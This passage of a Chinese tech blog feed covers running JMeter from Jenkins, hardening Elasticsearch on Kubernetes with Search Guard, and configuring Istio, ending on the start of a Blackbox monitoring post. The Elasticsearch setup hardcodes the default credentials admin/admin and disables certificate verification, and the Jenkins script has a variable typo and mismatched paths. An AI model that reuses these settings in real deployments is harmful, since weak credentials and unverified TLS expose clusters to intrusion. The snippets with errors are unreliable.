&lt;li&gt;&lt;p&gt;JMeter: hauptmedia/jmeter&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;注意此处随意的选择了一个 2.x 版本的 JMeter。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;jenkins-插件&#34;&gt;Jenkins 插件&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;docker_build_step&lt;/code&gt;：用于执行 Docker 指令，类似功能的 Docker Common 插件，其参数不支持环境变量，因此淘汰。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Performance Plugin：一个用于搜集和展示多种测试结果报告的插件。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;存储&#34;&gt;存储&lt;/h2&gt;

&lt;p&gt;这里我们需要为 Jenkins 和各种工具（这里是 JMeter）提供一个可以共享访问的文件交换区域：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;单机 Docker 下，可以是共享的主机目录。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Kubernetes 环境可以使用共享的分布式存储卷。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如我们创建名为&lt;code&gt;/var/cicd/exchange/jmeter&lt;/code&gt;的目录，进行文件交换。&lt;/p&gt;

&lt;h2 id=&#34;输入&#34;&gt;输入&lt;/h2&gt;

&lt;p&gt;使用 JMeter GUI 录制 jmx 文件，为任务生成汇总日志（保存到/root/summary.log）。
将 jmx 上传到上面所说的目录之中，这样就保证了 Docker 和 Jenkins 都能通过 &lt;code&gt;-v&lt;/code&gt; 来进行加载。&lt;/p&gt;

&lt;p&gt;这里我们启动 Jenkins 的时候，使用 &lt;code&gt;-v /var/cicd/exchange/jmeter:/exchange/jmeter&lt;/code&gt;
参数让 Jenkins 加载这一目录。&lt;/p&gt;

&lt;h2 id=&#34;jenkins-任务&#34;&gt;Jenkins 任务&lt;/h2&gt;

&lt;h3 id=&#34;准备工作&#34;&gt;准备工作&lt;/h3&gt;

&lt;p&gt;首先的环节是，为后面要开工的 JMeter 准备工作环境。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# 创建当前 Build 目录
mkdir -p /exchange/jmeter/$BUID_TAG
# 复制 jmx 到当前 Build 目录
cp /exchange/jmeter/jd.jmx /exchange/jmeter/$BUID_TAG
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;设置容器&#34;&gt;设置容器&lt;/h3&gt;

&lt;p&gt;准备好文件之后，我们需要添加下一个环节就是设置一个容器：&lt;/p&gt;

&lt;p&gt;这里添加的环节是&lt;code&gt;docker_build_step&lt;/code&gt;的&lt;code&gt;Execute Docker Command&lt;/code&gt;环节。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Image name: hauptmedia/jmeter&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Command：bin/jmeter -n -t /root/jd2.jmx -l /root/result.log -j /root/process.log&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Bind Mounts：&lt;code&gt;/var/cicd/kube/$BUILD_TAG /root&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;注意绑定卷这里就使用了 $BUILD_TAG 变量&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这样就完成了 Jenkins 和 JMeter 的文件共享：&lt;/p&gt;

&lt;p&gt;Jenkins 的 &lt;code&gt;/exchange/jmeter/$BUILD_TAG&lt;/code&gt;，对应的是新创建容器的&lt;code&gt;/root&lt;/code&gt;目录。&lt;/p&gt;

&lt;h3 id=&#34;启动容器&#34;&gt;启动容器&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;Execute Docker Command&lt;/code&gt;的&lt;code&gt;start container(s)&lt;/code&gt;环节，&lt;code&gt;Container ID(s)&lt;/code&gt;填写变量
&lt;code&gt;$DOCKER_CONTAINER_IDS&lt;/code&gt;，代表启动我们刚才创建的容器。&lt;/p&gt;

&lt;h3 id=&#34;等待任务&#34;&gt;等待任务&lt;/h3&gt;

&lt;p&gt;如果我们需要使用 Jenkins 进行结果的汇聚，那么这里就需要进行阻塞——等到 JMeter 执行完毕后，
才能进行下面的搜集结果、清理现场等操作。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;RESULT=&amp;quot;/exchange/jmeter/$BUILD_TAG/summary.log&amp;quot;
while [ ! -f $RESULT ]
do
  sleep 30
done


while [[ `lsof | grep summary.log` ]]
do
    sleep 10
done
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的脚本利用 lsof 来检测 summary.log 的占用情况，一旦该文件关闭，说明压力测试已经结束。&lt;/p&gt;

&lt;h3 id=&#34;清理容器&#34;&gt;清理容器&lt;/h3&gt;

&lt;p&gt;使用 &lt;code&gt;Execute Docker Command&lt;/code&gt; 的 &lt;code&gt;remove container(s)&lt;/code&gt; 环节，&lt;code&gt;Container ID(s)&lt;/code&gt; 填写变量
&lt;code&gt;$DOCKER_CONTAINER_IDS&lt;/code&gt;，代表清理我们刚才创建的容器。&lt;/p&gt;

&lt;h3 id=&#34;结果展示&#34;&gt;结果展示&lt;/h3&gt;

&lt;p&gt;Performance Plugin 能够识别 JMeter、SoapUI 以及 Parrot 生成的报告文件，这里我们只设置一
个选项，就是 &lt;code&gt;Source data files (autodetects format):&lt;/code&gt;，这里填写
&lt;code&gt;/exchange/jmeter/$BUILD_TAG/summary.log&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;插件会把这一文件拷贝到 Workspace，进行解析和显示。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-job&#34;&gt;Kubernetes Job&lt;/h2&gt;

&lt;p&gt;上述过程可以很方便的改造成为 Kubernetes Job：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Docker 相关内容，改为使用 kubectl 进行的 job 文件的生成和操作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;阻塞过程可以查询任务节点的状态&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;文件存储可以使用 PVC 来共享&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>K8S 上 Elastic Search 集群的通信加密、认证和清理</title>
      <link>/post/es-on-k8s-auth-cleanup/</link>
      <pubDate>Fri, 03 Nov 2017 04:49:29 +0800</pubDate>
      <guid>/post/es-on-k8s-auth-cleanup/</guid>
      <description>

&lt;p&gt;Kubernetes 的 Release 文件包中，一直包含了使用 Elastic Search 方案进行日志处理的简单例子，
这个例子非常简陋外加版本较旧，处于“能用”的状态而已。&lt;/p&gt;

&lt;p&gt;而近期的版本中这一情况发生了变化，原来的 &lt;code&gt;elasticsearch&lt;/code&gt; 中新增了一个子目录：
&lt;code&gt;production_cluster&lt;/code&gt;，&lt;code&gt;README.md&lt;/code&gt;中的介绍是：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A more robust example that follows Elasticsearch best-practices of separating nodes concern is also available.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这个听起来就厉害了，关键字：robuts，best-practice。&lt;/p&gt;

&lt;p&gt;顺藤摸瓜找到了作者的 github 地址：&lt;code&gt;https://github.com/pires/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这一集群的特点是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ES 集群分为 Master/Client/Data 三组，各司其职，各自可以设置自己的资源使用，参数配置等。&lt;/li&gt;
&lt;li&gt;提供了 StatefulSet 形式的数据节点，便于数据持久化的支持。&lt;/li&gt;
&lt;li&gt;采用 Curator 的 CronJob，用于数据的清理。&lt;/li&gt;
&lt;li&gt;自定义的 Elastic Search 镜像。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这一些功能自然是极好的，然而因为 X-Pack 的授权问题，使得两个重要的功能： https 通信和认证落了空，还好发现了一个替代方案：&lt;a href=&#34;https://github.com/floragunncom/search-guard&#34; target=&#34;_blank&#34;&gt;Search Guard&lt;/a&gt;，
简单说来，这一方案提供了免费的认证和 https 通信方案，并且提供了更多的商业支持特性。具体能力范围可以参看官网，下面基于 Pries 的 ES 5.6.3 版本，来把假设在 Kubernetes 集群上的 ES 集群进行加固。&lt;/p&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群：1.7.x

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kube-apiserver&lt;/code&gt;启动参数中加入&lt;code&gt;--runtime-config=batch/v2alpha1=true&lt;/code&gt;用于支持后面的 CronJob 对象&lt;/li&gt;
&lt;li&gt;集群存储，用于满足 PVC 需求（可选）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Docker：用于自定义镜像的构建&lt;/li&gt;
&lt;li&gt;源代码：

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/pires/kubernetes-elasticsearch-cluster&#34; target=&#34;_blank&#34;&gt;https://github.com/pires/kubernetes-elasticsearch-cluster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/fluent/fluentd-kubernetes-daemonset.git&#34; target=&#34;_blank&#34;&gt;https://github.com/fluent/fluentd-kubernetes-daemonset.git&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;镜像的构建&#34;&gt;镜像的构建&lt;/h2&gt;

&lt;p&gt;Search Guard 的安装分为插件安装、初始化和集群设置三个步骤，Pries 镜像中推荐的插件安装方式仅能完成第一步骤，因此这里做一些定制，将前两个步骤在镜像中直接完成。&lt;/p&gt;

&lt;p&gt;这里我们使用 Pries 镜像为基础：&lt;/p&gt;

&lt;h3 id=&#34;dockerfile&#34;&gt;Dockerfile&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM quay.io/pires/docker-elasticsearch-kubernetes:5.6.3
COPY prepare.sh /tmp
RUN sh /tmp/prepare.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;prepare-sh&#34;&gt;prepare.sh&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
set -xe
export NODE_NAME=&amp;quot;MASTER&amp;quot; # 占位符
# 插件安装
bin/elasticsearch-plugin install -b com.floragunn:search-guard-5:5.6.3-16

# 初始化
chmod a+x plugins/search-guard-5/tools/install_demo_configuration.sh
plugins/search-guard-5/tools/install_demo_configuration.sh -y

# 清理不必要的配置
sed -i  &#39;s/network.host.*0$//&#39; config/elasticsearch.yml
sed -i  &#39;s/cluster.name.*demo$//&#39; config/elasticsearch.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;运行-es-集群&#34;&gt;运行 ES 集群&lt;/h2&gt;

&lt;p&gt;运行集群之前，注意三处需要修改：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;镜像名称。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;环境变量加入：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: &amp;quot;NETWORK_HOST&amp;quot;
value: &amp;quot;_eth0_&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;因为 Search Guard 的加入，Client 的可用检测是失效的，因此需要删除。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl apply -f es-discovery-svc.yaml
kubectl apply -f es-svc.yaml
kubectl apply -f es-master.yaml
kubectl apply -f es-client.yaml
kubectl apply -f es-data.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;集群启动之后会处于不可用状态，需要进行 Search guard 设置，使用 kubectl 命令进入任意一个 Master 节点的 Shell，编辑如下文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/bash
/elasticsearch/plugins/search-guard-5/tools/sgadmin.sh \
-cd /elasticsearch/plugins/search-guard-5/sgconfig \
-ks /elasticsearch/config/kirk.jks  -arc \
-ts /elasticsearch/config/truststore.jks -nhnv -icl \
-h 172.200.62.7
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-icl&lt;/code&gt; 参数用于禁止证书 CN 的检查。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-h&lt;/code&gt; 指定该 Pod 的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-arc&lt;/code&gt; 接受状态为 RED 的集群操作。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这样就完成了 ES 集群的初始化设置，并且开始运行。
这时我们如果访问其服务，例如：&lt;code&gt;https://node.port:9200&lt;/code&gt;，如果弹出安全警告，在选择不检查证书之后，会弹出验证窗口，输入预置的：&lt;code&gt;admin/admin&lt;/code&gt; 就能看到正常的 API 页面了。&lt;/p&gt;

&lt;h2 id=&#34;fluentd&#34;&gt;Fluentd&lt;/h2&gt;

&lt;p&gt;因为我们的 Fluentd 需要访问 https 协议的有认证要求的 ES 集群，所以这里使用 ConfigMap 的方式，为 Fluentd 加载修改好的配置文件。&lt;/p&gt;

&lt;p&gt;首先使用 &lt;code&gt;docker cp&lt;/code&gt; 命令，或者直接从源码中获取 fluent.conf 和 kubernetes.conf 两个文件。&lt;/p&gt;

&lt;p&gt;在 fluent.conf 的 es 配置中加入 &lt;code&gt;ssl_verify false&lt;/code&gt; 一行。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--from-file&lt;/code&gt; 开关将上文中的两个配置文件加入 ConfigMap。&lt;/p&gt;

&lt;p&gt;修改 DaemonSet 的源码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
# 接入配置
- name: FLUENT_ELASTICSEARCH_SCHEME
  value: &amp;quot;https&amp;quot;
- name: FLUENT_ELASTICSEARCH_USER
  value: &amp;quot;admin&amp;quot;
- name: FLUENT_ELASTICSEARCH_PASSWORD
  value: &amp;quot;admin&amp;quot;
...
# 配置文件

volumeMounts:
...
- name: etc
  mountPath: /fluentd/etc
terminationGracePeriodSeconds: 30
volumes:
...
- name: etc
configMap:
  name: fluentd-config
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样，Fluentd 就能成功连接 es 并发送日志了。&lt;/p&gt;

&lt;h2 id=&#34;kibana&#34;&gt;Kibana&lt;/h2&gt;

&lt;p&gt;和 Fluentd 的情况类似，也需要创建他的配置文件，并在 kibana.yml 原有内容基础上增加几行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;elasticsearch.username: &amp;quot;admin&amp;quot;
elasticsearch.password: &amp;quot;admin&amp;quot;
elasticsearch.ssl.verificationMode: none
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外在他的 Deployment 描述中，需要将 ES 集群接口地址改为 https 协议。&lt;/p&gt;

&lt;p&gt;启用后，打开 Kibana 页面，就会弹出认证要求。&lt;/p&gt;

&lt;h2 id=&#34;curator&#34;&gt;Curator&lt;/h2&gt;

&lt;p&gt;编辑 es-curator-config.yml，修改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;use_ssl: True
ssl_no_validate: True
http_auth: admin:admin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后创建 ConfigMap 和 Cronjob 对象即可。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;sgadmin 及其配置有着相当丰富的功能，例如用户和角色的管理等。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;证书也是可以使用合法证书进行替代的，不一定需要使用自这个过程中生成的自签名证书。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>非缺省域名下 Istio 的使用</title>
      <link>/post/istio-with-non-standard-domain-name/</link>
      <pubDate>Sun, 22 Oct 2017 05:08:21 +0800</pubDate>
      <guid>/post/istio-with-non-standard-domain-name/</guid>
      <description>

&lt;p&gt;Kubernetes 缺省的域名为 &lt;code&gt;cluster.local&lt;/code&gt;，好死不死的，istio 的缺省安装也沿用了这一设定，
并且文档中并没有明确指出这一假设。Istio 中使用了大量的 FQDN 进行服务的甄别，域名不一致这样
的问题可以说是后患无穷。经过 101 号 issue 的讨论，得知 proxy 和 pilot 组件提供了域名的设置功能，大致用法如下：&lt;/p&gt;

&lt;h2 id=&#34;pilot&#34;&gt;Pilot&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kubectl edit deploy istio-pilot -n istio-system&lt;/code&gt; 或者编辑官方的 &lt;code&gt;istio.yaml&lt;/code&gt;，查找
&lt;code&gt;docker.io/istio/pilot:0.2.9&lt;/code&gt; 的容器，并在 args 一节中加入如下的两行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- --domain
- cloud.ctrm
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;proxy&#34;&gt;Proxy&lt;/h2&gt;

&lt;p&gt;这部分略讨厌，因为每个业务 Pod 中都会有 SideCar 加载，因此只能逐个修改，方法同样有两个，
一个是使用 &lt;code&gt;kubectl edit deploy [workload-deployment]&lt;/code&gt; 的方式，另外一个就是，保存
&lt;code&gt;istioctl kube-inject -f [workload.yaml]&lt;/code&gt; 输出的文本。同样在
&lt;code&gt;docker.io/istio/proxy_debug:0.2.9&lt;/code&gt; 所在容器的 args 一节中加入下面的参数：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- --domain
- cloud.ctrm
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这些 Deployment 修改之后，会进行更新，接下来 Pilot 和 Mixer 就能正确的识别和处理集群中的服务了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 0.2 发布：增强的 Service Mesh 以及多环境支持</title>
      <link>/post/istio-0.2-ann/</link>
      <pubDate>Wed, 11 Oct 2017 11:22:19 +0800</pubDate>
      <guid>/post/istio-0.2-ann/</guid>
      <description>

&lt;p&gt;在 2017 年 5 月 24 日，我们启动了 Istio —— 一个为微服务提供连接、监控和安全支持的平台。互联
网对我们投入了巨大的关注，开发、运维和合作伙伴的社区日益壮大，这一切让我们诚惶诚恐。0.1 版本
展示了 Kubernetes 环境下 Istio 的所有概念。&lt;/p&gt;

&lt;p&gt;今天我们高兴的宣布 0.2 版，这一版本在稳定和性能方面有了增强，在 Kubernetes 中提供了全集群范围内
的部署和 Sidecar 的自动注入功能，为 TCP 提供了策略和认证支持，Service Mesh 的扩展能力进一步
覆盖到了虚拟机上。另外，Istio 现在可以在 Kubernetes 之外的环境运行，例如 Consul/Nomad 或者
Eureka。除了核心功能之外，Istio 还为第三方公司和个人提供了扩展开发的能力。&lt;/p&gt;

&lt;h2 id=&#34;0-2-版本亮点&#34;&gt;0.2 版本亮点&lt;/h2&gt;

&lt;h3 id=&#34;提高可用性&#34;&gt;提高可用性&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;多命名空间支持：响应 0.1 版本的用户呼声，Istio 可以在集群范围内的多个命名空间内运行。&lt;/li&gt;
&lt;li&gt;TCP 服务的策略和安全支持：除了 HTTP 服务之外，我们为 TCP 服务加入了双向 TLS 认证以及策略支持。这使得我们所提供的观测、策略以及安全能力能够覆盖到更多 Kubernetes 应用之中。&lt;/li&gt;
&lt;li&gt;Sidecar 的自动注入：在 Kubernetes 1.7 加入了 Alpha 版本的 initializer 特性之后，可以利用这一能力将 Envoy sidecar 自动注入到应用之中了。这样就可以像没有 istio 之前一样，直接使用 kubectl 进行应用部署。&lt;/li&gt;
&lt;li&gt;使用自定义 CA 认证：让用户能够为 Istio CA 提供自己的 Key 并存储。签署的密钥和证书会加快CA 的重启。&lt;/li&gt;
&lt;li&gt;增强的路由和指标：支持 WebSocket、MongoDB 以及 Redis 协议。可以把断路器这样的能力应用到第三方服务中去。另外除去 Mixer 的指标之外，上百个来自于 Envoy 的关于所有接收、外发以及Service Mesh 内部的流量指标都可以使用 Prometheus 获取了。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;跨环境支持&#34;&gt;跨环境支持&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Mesh 扩展：Istio 的 Mesh 现在可以跨出 Kubernetes 为外部服务提供自动双向 TLS 认证、流量管理、监控以及策略的支持了。&lt;/li&gt;
&lt;li&gt;脱离 Kubernetes 运行：我们知道很多用户在使用其他的服务注册和编排方案，例如 Consul/Nomad 以及 Eureka。Istio Pilot 现在可以在 Kubernetes 之外，依赖上述系统独立运行了，并同时对运行于虚拟机和容器中的 Envoy 进行管理。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;加入-istio-共塑未来&#34;&gt;加入 Istio，共塑未来&lt;/h2&gt;

&lt;p&gt;我们还有很长的路要走，Roadmap 中包含了众多尚待实现的强大功能。我们希望下个版本能够继续增强可靠性、稳定性和对第三方的集成能力，以及多集群的支持。&lt;/p&gt;

&lt;p&gt;最简单的加入方法就是在众多的&lt;a href=&#34;https://github.com/istio/istio/blob/master/GROUPS.md&#34; target=&#34;_blank&#34;&gt;工作组&lt;/a&gt;中选择一个符合兴趣的加入进去。这些工作组会经常展开对范围内的 Issue 的讨论，并协助完善该领域的Roadmap。如果有对 Istio 社区的建议，可以加入每周的&lt;a href=&#34;https://docs.google.com/document/d/14ZCWMfEV9MPDYrjhKYMErVXHTZrSwJNMm1ztKo8efPw/&#34; target=&#34;_blank&#34;&gt;社区会议&lt;/a&gt;。另外还可以加入&lt;a href=&#34;https://github.com/istio/istio/blob/master/GROUPS.md#master-working-group-list&#34; target=&#34;_blank&#34;&gt;邮件列表&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;我们要感谢我们的强大社区，为 Istio 做出了测试、Bug 报告、代码以及成员沟通和无数的讨论等等各方面的贡献。这些贡献让项目在 Github 赢得了 3000 星的评价，以及几百个活跃成员。&lt;/p&gt;

&lt;p&gt;谢谢大家。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>istio 的自动注入</title>
      <link>/post/auto-injection-istio/</link>
      <pubDate>Fri, 29 Sep 2017 19:04:22 +0800</pubDate>
      <guid>/post/auto-injection-istio/</guid>
      <description>

&lt;p&gt;从小白角度上来讲，istio 的吸引力不在于那些花里胡哨或者说精彩纷呈的功能，而是&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;第一：背景深厚&lt;/li&gt;
&lt;li&gt;第二：可以流水线操作的一键注入功能&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;而目前的 0.2 预发布版又提供了自动注入功能，进一步提高了易用性。&lt;/p&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;istio 的 0.2.4 版本。&lt;/p&gt;

&lt;p&gt;根据官方文档，自动注入功能需要 Kubernetes 1.7.4 以上，并且需要启用两个 Alpha 功能，可以把
如下参数加入 kube-apiserver 的启动文件之中：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--runtime-config=admissionregistration.k8s.io/v1alpha1=true
--runtime-config=batch/v2alpha1=true
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;开启自动注入功能&#34;&gt;开启自动注入功能&lt;/h2&gt;

&lt;pre&gt;&lt;code&gt;kubectl apply -f install/kubernetes/istio-initializer.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;等待运行结果。注意其中的镜像地址可以按需求进行编辑。&lt;/p&gt;

&lt;h2 id=&#34;测试自动注入&#34;&gt;测试自动注入&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;默认的规则中，这一功能对 kube-system kube-public 和 istio-system
这三个命名空间是无效的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在 Default 命名空间中，运行这样两个应用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: service-one
  labels:
    app: service-one
spec:
  ports:
  - port: 80
    targetPort: 8080
    name: http
  selector:
    app: service-one
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: service-one
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: service-one
    spec:
      containers:
      - name: app
        image: gcr.io/google_containers/echoserver:1.4
        ports:
        - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: service-two
  labels:
    app: service-two
spec:
  ports:
  - port: 80
    targetPort: 8080
    name: http-status
  selector:
    app: service-two
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: service-two
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: service-two
    spec:
      containers:
      - name: app
        image: gcr.io/google_containers/echoserver:1.4
        ports:
        - containerPort: 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行成功之后，我们可以看看自动注入对这两个 Deployment 做了什么：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl get deploy service-one -o yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到返回内容中多了些东西：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
...

annotations:
  sidecar.istio.io/status: injected-version-0.2.4

...

image: docker.io/istio/proxy:0.2.4
  imagePullPolicy: IfNotPresent

...

initContainers:
 - args:
   - -p
   - &amp;quot;15001&amp;quot;
   - -u
   - &amp;quot;1337&amp;quot;
   image: docker.io/istio/proxy_init:0.2.4
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很明显的动了手脚，接下来获取一下 Pod 信息：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# kubectl get po | grep service
service-one-2087957768-fpqqd   2/2       Running           0          1h
service-two-875897890-tmfng    2/2       Running           0          1h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;测试 Pod 的功能：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl exec -it service-one-2087957768-fpqqd -c app -- curl service-two:80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到从 Service one 的 pod 中使用 curl 访问 service-two 的服务，会被注入一些内容，
证明这一功能正常生效：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;...

HEADERS RECEIVED:
accept=*/*
content-length=0
host=service-two
user-agent=curl/7.47.0
x-b3-sampled=1
x-b3-spanid=0000c703da4c3c5d
x-b3-traceid=0000c703da4c3c5d
x-envoy-expected-rq-timeout-ms=15000
x-forwarded-proto=http
x-ot-span-context=0000c703da4c3c5d;0000c703da4c3c5d;0000000000000000
x-request-id=207c124e-36ee-973e-bcc0-84dc70b8c71f

...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;幕后&#34;&gt;幕后&lt;/h2&gt;

&lt;p&gt;istio 会根据存储于&lt;code&gt;istio-inject&lt;/code&gt; config-map 中的策略，对集群中的新的工作负载进行监控，
如果有了符合条件的对象生成，就会利用 PATCH 方法对对象进行更新，注入所需内容。&lt;/p&gt;

&lt;p&gt;缺省策略如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: istio-inject
  namespace: istio-system
data:
  config: |-
    policy: &amp;quot;enabled&amp;quot;
    namespaces: [&amp;quot;&amp;quot;] # 除了几个特定名称之外的所有命名空间
    initializerName: &amp;quot;sidecar.initializer.istio.io&amp;quot;
    params: # 自定义 sidecar 执行参数
      initImage: docker.io/istio/proxy_init:0.2.4
      proxyImage: docker.io/istio/proxy:0.2.4
      verbosity: 2
      version: 0.2.4
      meshConfigMapName: istio
      imagePullPolicy: IfNotPresent
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;policy&#34;&gt;Policy&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;off&lt;/strong&gt;：关闭注入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;disabled&lt;/strong&gt;：禁用注入，但是可以设置&lt;code&gt;sidecar.istio.io/inject&lt;/code&gt;标签为&lt;code&gt;true&lt;/code&gt;，来强制开启。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;enabled&lt;/strong&gt;：启用注入，可以设置&lt;code&gt;sidecar.istio.io/inject&lt;/code&gt;标签为&lt;code&gt;false&lt;/code&gt;来关闭这一功能。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes &#43; Blackbox 实现对 Web 和 DNS 的简单监控</title>
      <link>/post/blackbox-monitor-dns-web/</link>
      <pubDate>Tue, 19 Sep 2017 23:26:45 +0800</pubDate>
      <guid>/post/blackbox-monitor-dns-web/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;其实都在这里了：
&lt;a href=&#34;https://github.com/prometheus/blackbox_exporter/blob/master/CONFIGURATION.md&#34; target=&#34;_blank&#34;&gt;https://github.com/prometheus/blackbox_exporter/blob/master/CONFIGURATION.md&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Prometheus 带有很多有针对性的 Exporter，能够对 MySQL、Apache 或者 ElasticSearch 等服务
器进行监控，另外还有 Blackbox Exporter 用于对 http dns tcp 等零散目标进行简单监控。&lt;/p&gt;

&lt;h2 id=&#34;dns-的监控&#34;&gt;DNS 的监控&lt;/h2&gt;

